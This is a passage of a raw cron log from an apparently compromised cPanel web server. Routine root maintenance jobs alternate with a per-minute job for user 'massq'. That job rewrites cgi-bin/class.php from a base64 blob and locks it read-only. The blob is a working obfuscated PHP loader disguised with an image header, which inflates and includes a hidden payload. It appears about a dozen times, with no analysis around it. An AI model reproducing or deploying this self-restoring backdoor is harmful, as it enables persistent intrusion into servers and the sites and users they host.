U0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:36:01 server CROND[22538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:36:01 server CROND[22539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:37:01 server CROND[23065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:37:01 server CROND[23066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:37:01 server CROND[23067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:38:01 server CROND[23532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:38:01 server CROND[23531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:38:01 server CROND[23533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:39:01 server CROND[23928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:39:01 server CROND[23929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:39:01 server CROND[23930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:39:01 server CROND[23931]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 12:40:01 server CROND[24367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:40:01 server CROND[24369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:40:01 server CROND[24370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:40:01 server CROND[24371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:40:01 server CROND[24373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:40:01 server CROND[24375]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:40:01 server CROND[24374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:40:01 server CROND[24372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:41:01 server CROND[25191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:41:01 server CROND[25192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:41:01 server CROND[25193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:42:01 server CROND[25556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:42:01 server CROND[25557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:42:01 server CROND[25558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:42:01 server CROND[25559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:43:01 server CROND[26019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:43:01 server CROND[26020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:43:01 server CROND[26021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:44:01 server CROND[26407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:44:01 server CROND[26405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:44:01 server CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:45:01 server CROND[26806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:45:01 server CROND[26807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 12:45:01 server CROND[26809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:45:01 server CROND[26810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:45:01 server CROND[26812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:45:01 server CROND[26814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 12:45:01 server CROND[26815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:46:01 server CROND[27649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:46:01 server CROND[27650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:46:01 server CROND[27652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:47:01 server CROND[28027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:47:01 server CROND[28028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:47:01 server CROND[28030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:48:01 server CROND[28493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:48:01 server CROND[28494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 12:48:01 server CROND[28495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 